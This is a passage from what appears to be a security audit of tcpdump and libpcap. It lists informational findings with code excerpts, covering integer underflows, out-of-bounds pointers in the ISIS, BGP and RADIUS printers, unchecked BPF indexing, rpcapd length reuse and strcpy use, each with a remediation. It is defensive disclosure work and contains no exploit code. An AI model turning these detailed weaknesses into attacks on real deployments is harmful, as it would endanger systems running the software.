isis_print(netdissect_options *ndo,
           const uint8_t *p, u_int length)
{
<...>
    u_short packet_len,pdu_len, key_id;
<...>
    packet_len=length;
*** "length" (32-bits) is cast to "packet_len" (16-bits) potentially causing
*** integer truncation, eg. length == 0x10002 -> packet_len = 0x2.
<...>
        pdu_len=EXTRACT_BE_U_2(header_iih_lan->pdu_len);
        if (packet_len>pdu_len) {
           packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
*** If "pdu_len" == 0 then "packet_len" == 0
           length=pdu_len;
        }
<...>
        packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE); // packet len
*** "packet_len" could have been 0; subtracting a constant would lead to a
*** negative value, but since "packet_len" is unsigned an integer underflow
*** will cause the value to "wrap around" to a large value.
```

The effect this would have on the remaining code has not been exhaustively determined due to time-limitations of the engagement, but since the packet length has to be larger than 0x10000 for packet_len to wrap and become a large value (<0x10000), this does not apear to cause a security issue: the buffer should be large enough to prevent out-of-bounds reading.

Another case in the same function:

```
   uint8_t pdu_type, pdu_max_area, max_area, pdu_id_length, id_length, tlv_type, tlv_len, tmp,
alen, lan_alen, prefix_len;
<...>
        tlv_len = EXTRACT_U_1(pptr + 1);
*** "tlv_len" is now attacker controlled. possible values: 0...255; assume we supply the value
"1".
<...>
        tmp =tlv_len; /* copy temporary len & pointer to packet data */
*** "tmp" == 1 at this point
<...>
        case ISIS_TLV_MT_IS_REACH:
            mt_len = isis_print_mtid(ndo, tptr, "\n\t      ");
*** "isis_print_mtid()" does not care about "tmp" and can return 2 here.
            if (mt_len == 0) /* did something go wrong ? */
                goto trunctlv;
            tptr+=mt_len;
            tmp-=mt_len;
*** "tmp" == 1 - 2 == 0xFF because of an integer wrap, which is wrong.
```

Here again, the issue does not appear to have any effect on the immedaite security of the application.

Recommended Remediation:

The assessment team recommends using safe integer check operations on all variables that represent lengths to prevent these underflows and trunctations (and various other types of issues). For casts, this includes checking if the new type can store the value in the old type correctly. For aritmetic operations such as additions and subtractions, this includes checking if the result has not suffered from an integer overflow/underflow. Special libraries exist that implement such checks and which provide special integer types that have these checks built into their operations, or as is done in other parts of the code base, it can be done manually. If the checks are done manually, extra care should be taken to fuzz and have the checks code reviewed.

References:

Wikipedia article on integer overflows/underflows
Wikipedia article on type conversion
US-CERT article on safe integer operations

I2: [tcpdump] Out of bounds Pointer and Integer Overflow When Processing BGPTYPE_MP_REACH_NLRI Packets

Description:

The **bgp_attr_print()** function in **print-bgp.c** contains a large switch statement that makes up the bulk of its code. The **BGPTYPE_ATTR_SET** case in this switch can increment a pointer beyond the end of the packet buffer and attempts to calculate the number of remaining bytes in the buffer using this invalid pointer. Both the pointer and the length have invalid values at that point. The code that follows this miscalculation does not appear to use these incorrect values in a way that leads to further incorrect behavior at this time. While this behavior is incorrect, it is not currently a security issue.

The **bgp_attr_print()** function is passed a pointer to a buffer from which to read packet data (**pptr**). It is also passed a length (**len**) which represents the number of bytes available in the buffer. It uses a temporary pointer to keep track of where in the buffer it is currently parsing packet data (**tptr**). At some point, the function reads a byte value into a local variable **snpa**. This value is assumed to be the count of a number of **length**-**data** pairs that follow, in which **length** is encoded in a byte and data consists of as many bytes as the value of **length**. A simple example would be 01 02 03 04: **snpa** is 01, so it is followed by one **length**-**data** pair. The **length** of the pair is 02, so it is followed by 2 **data** bytes 03 04. After processing this data, **tptr** will point to the first byte following these 4 bytes, which could be the end of the packet, or more packet data depending on the total packet length.

However, if the code reads data that sets **snpa** to a non-zero value and the packet is truncated in the **data** of a **length**-**data** pair, the **tptr** pointer may be updated to point beyond the end of the packet buffer. A simple example would be 01 02: **snpa** is 01, so the code assumes it is followed by one **length**-**data** pair. The **length** is 02, so the code assumes **data** is 2 bytes long and updates **tptr** to point two bytes beyond **length**, which is outside of the packet buffer.

```
static int
bgp_attr_print(netdissect_options *ndo,
               u_int atype, const u_char *pptr, u_int len)
{
<...>
    tptr = pptr;
<...>
        snpa = EXTRACT_U_1(tptr);
        tptr++;
        if (snpa) {
            ND_PRINT("\n\t    %u SNPA", snpa);
            for (/*nothing*/; snpa != 0; snpa--) {
                ND_TCHECK_1(tptr);
                ND_PRINT("\n\t      %u bytes", EXTRACT_U_1(tptr));
                tptr += EXTRACT_U_1(tptr) + 1;
            }
```

The code that follows assumes the **tptr** variable always point either inside the buffer or to the end of the buffer and calculates the remaining length of the packet using **(len-(tptr – pptr))**.

```
        add_path4 = check_add_path(ndo, tptr, (len-(tptr - pptr)), 32);
        add_path6 = check_add_path(ndo, tptr, (len-(tptr - pptr)), 128);
```

As a scenario; let's say the original buffer was 0x100 bytes and the last two bytes were the truncated **snpa** and **length**. Then **len == 0x100** and **tptr == pptr+0x102**, so * (len-(tptr – pptr)) == -2* at this point. This would lead to calls of **check_add_path()** with an invalid **tptr** pointing two bytes beyond the buffer and an invalid length of **0xFFFFFFFE** (-2 converted to an unsigned int). Luckily **check_add_path** checks if the **tptr** pointer being passed to it is inside the buffer before doing anything else. Since it is not, this function returns immediately and this does not lead to further issues. The rest of the code also does not appear to use the incorrect **tptr** value in any way that could cause further problems, so this integer overflow does not appear to cause incorrect behavior at this point.

The existing code assumes that **tptr** does not go beyond the end of the buffer, so any developer making future changes may assume the same and create code that introduces security problems when this is not the case. Ideally the code could be modified to prevent these future code changes from using these incorrect values in a way that introduces a security issue.

Recommended Remediation:

The assessment team recommends that the upper value of **tptr** be limited to the end of the buffer when processing the **length**-**data** pairs.

References:

Wikipedia article on bounds checking
US-CERT article on safe integer operations

I3: [tcpdump] Out of bounds Read Processing TUNNEL_SERVER_AUTH Packets

Description:

The **print_attr_string()** function in **print_radius.c** reads 1 byte of data using **EXTRACT_U_1** before checking if the value of length is less than 1, which would indicate that there is no data. This incorrect order of reading before checking could cause the function to read data out-of-bounds. This can lead to the function returning incorrect data and could potentially cause the application to crash if the memory layout put the buffer at the top edge of committed memory.

At this point the function is only called from **radius_attrs_print()** in the same file, and that call *guarantees* there will be at least 1 byte of data. So, at this time, the code cannot read out-of-bounds data. However, it is possible this code was not created with the assumption that there is always at least 1 byte of data because the check is not useful in the current state.

```
     case TUNNEL_SERVER_AUTH:
           if (EXTRACT_U_1(data) <= 0x1F)
           {
              if (length < 1)
                 goto trunc;
              if (EXTRACT_U_1(data))
                ND_PRINT("Tag[%u] ", EXTRACT_U_1(data));
              else
                ND_PRINT("Tag[Unused] ");
              data++;
              length--;
           }
        break;
```

Recommended Remediation:

The assessment team recommends moving the check up a few lines so the code ensures there is data before it reads it.

References:

Wikipedia article on bounds checking

I4: [tcpdump] Security Warning During Configure Build Step

Description:

Suspicious output relating to the SMB protocol dissector is output during the configure step of the build process. See the following:

```
checking whether to enable the possibly-buggy SMB printer... yes
configure: WARNING: The SMB printer may have exploitable buffer overflows!!!
```

The SMB printer is enabled by default. If the tcpdump group is confident in this printer's functionality and security then this output is no longer relevant.

Recommended Remediation:

The assessment team recommends removing this output or, if confidence remains low in the SMB printer, disabling the SMB printer by default.

References:

Previous report of this warning message from a concerned user on Github

I5: [libpcap] Linux Ring Buffer Capture Mapped Writable

Description:

When using the ring buffer-based capture offered by the Linux kernel, the **pcap-linux.c** code maps the ring buffers as writable data. In some locations within the code, such as VLAN tagging, ring buffer data may be modified. If the ring buffer gets corrupted through a bug, it could lead to incorrect capture output, deadlock, or other unknown consequences.

Recommended Remediation:

The assessment team recommends avoiding modifying the ring buffer contents and mapping the ring buffer read-only. Since it may be required to update parts of the ring buffer when taking or giving ownership from or to the kernel, the ring buffer could be temporarily made writable for that purpose only.

I6: [tcpdump & libpcap] Multiple Memory Allocations Depend on the Result of Unchecked Arithmetic

Description:

In several places throughout the **libpcap** and **tcpdump** code, memory allocations are made with a size based on the result of arithmetic using potentially attacker controlled parameters. If the result of such arithmetic overflows, heap corruption may occur. See the following example from **install_bpf_program()** in **pcap-linux.c**:

```
4404     /* allocate a ring for each frame header pointer*/
4405     handle->cc = req.tp_frame_nr;
4406     handle->buffer = malloc(handle->cc * sizeof(union thdr *));
4407     if (!handle->buffer) {
```

Note that the finding **Remote Packet Capture Daemon (RPCAPD) Integer Overflow Leads to Heap Buffer Overflow** described in this report is an instance of this problem with security consequence.

Recommended Remediation:

The assessment team recommends creating and utilizing a **calloc()** like API to allocate arrays of variable sized items. This API should validate that arithmetic does not overflow prior to allocating memory based on the result.

I7: [libpcap] Berkeley Packet Filter (BPF) Processing May Read and Write Out of Bounds

Description:

Within the **bpf_filter_with_aux_data()** function in **bpf_filter.c**, processing certain BPF instructions may lead to out of bounds reads or writes. The **bpf_filter()** function is a wrapper for this function. When processing the **BPF_ST**, **BPF_STX**, **BPF_LD|BPF_MEM**, or **BPF_LDX|BPF_MEM** operations memory is accessed using an array index without validation. See the following code excerpt:

```
428         case BPF_LD|BPF_MEM:
429             A = mem[pc->k];
430             continue;
431
432         case BPF_LDX|BPF_MEM:
433             X = mem[pc->k];
434             continue;
435
436         case BPF_ST:
437             mem[pc->k] = A;
438             continue;
439
440         case BPF_STX:
441             mem[pc->k] = X;
442             continue;
```

On lines 429, 433, 437, and 441 the array **mem** is accessed using the array index **pck** without bounds checking.

The **bpf_validate()** function does check the bounds of the array index for these operations. The assessment team made a cursory investigation and verified that most paths to **bpf_filter()** or **bpf_filter_with_aux_data()** do correctly call **bpf_validate()** and validate the return value.

However, no enforced requirement exists to call **bpf_validate()** before calling **bpf_filter_with_aux_data()**. This, at best, represents a fragile code pattern. At worst, it leads to exploitable vulnerabilities such as is the case with **CVE-2007-5756** that affected **WinPcap** (see references below).

Recommended Remediation:

The assessment team recommends implementing bounds checking within the **bpf_filter_with_aux_data()** function to avoid potentially serious vulnerabilities (as in CVE-2007-5756) in the future.

References:

CVE-2007-5756

I8: [libpcap] Remote Packet Capture Daemon Parameter Reuse

Description:

The **libpcap** library, when configured with the **—enable-remote** flag, builds a remote packet capture daemon called **rpcapd**. This daemon provides a service by which a client can initiate and manage packet captures from interfaces on the machine which runs the daemon. By default, clients must authenticate with a username and password, but **rpcapd** does allow **NULL** authentication using the **-n** flag.

The **daemon_msg_findallif_req()** function in **rpcapd/daemon.c** from **libpcap** processes requests to list available capture interfaces. This function re-uses one of it's parameters assuming that it's initial value was zero. Consider the following code.

```
1240 static int
1241 daemon_msg_findallif_req(struct daemon_slpars *pars, uint32 plen)
1242 {
<...>
1253     // Discard the rest of the message; there shouldn't be any payload.
1254     if (rpcapd_discard(pars->sockctrl, plen) == -1)
<...>
1278     // checks the number of interfaces and it computes the total length of the payload
1279     for (d = alldevs; d != NULL; d = d->next)
1280     {
1281         nif++;
1282
1283         if (d->description)
1284             plen+= strlen(d->description); // WHY IS this using "plen" ??
<...>
1316     rpcap_createhdr((struct rpcap_header *) sendbuf, pars->protocol_version,
1317         RPCAP_MSG_FINDALLIF_REPLY, nif, plen); // WHAT HAPPENS IF plen IS BIG HERE?
```

The parameter **plen** is, as noted on line 1253, assumed to be zero. When calculating the length of response data in the loop starting on line 1279, the **plen** is re-used without resetting it's original value to zero. When the loop completes, a response packet is crafted on line 1317 using

the final **plen** value. Because this value may be larger than expected, the RPCAP client may become desynchronized and end up blocking trying to read more data than the service intends to return.

Recommended Remediation:

The assessment team recommends resetting the **plen** variable to zero before accumulating the response length.

I9: [tcpdump] Use of strcpy() on semi-trused data in ether_ntohost()

Description:

The function **ether_ntohost()** in **win_ether_ntohost.c** uses the **strcpy()** function, which executes an unbounded copy, to copy a string containing a name associated with a cached Ethernet address to a buffer supplied through its first argument. There are no checks to ensure that this buffer is large enough to contain the name. At this point in execution, these cached name are read from a file at startup in a way that guarantees that they are smaller than the value **BUFSIZE** (Which is currently defined as 128). The code in **addrtoname.c** which uses this function always uses buffers that can contain either **BUFSIZE** bytes or 256 bytes, both of which are large enough not to cause a buffer overflow. This means that this use of **strcpy()** does not currently cause any buffer overflows.

There are no guarantees that future code changes will not increase the maximum size of cached names and that new code calls this function with a buffer that is less than **BUFSIZE** bytes long, or that **BUFSIZE** is increased beyond the hardcoded value 256 used on **addrtoname.c** for one of the buffers.

```
int ether_ntohost (char *name, struct ether_addr *e)
{
  const struct ether_entry *cache;
  static int init = 0;
  if (!init) {
    init_ethers();
    init = 1;
  }
  for (cache = eth0; cache; cache = cache->next)
     if (!memcmp(&e->octet, &cache->eth_addr, MAC_ADDR_LEN)) {
       strcpy (name,cache->name);
       return (0);
     }
  return (1);
}
```

Recommended Remediation:

The assessment team recommends eliminating the use of unbounded string copy functions such as **strcpy()** entirely. One tactict could be adding an argument to the **ether_ntohost()** function that specifies the maximum number of bytes the destination buffer can contain and updating the code to prevent writing more than that number of bytes to the buffer, future changes to the code are less likely to introduce security problems.

References:

Wikipedia article explaining strcpy could lead to buffer overflows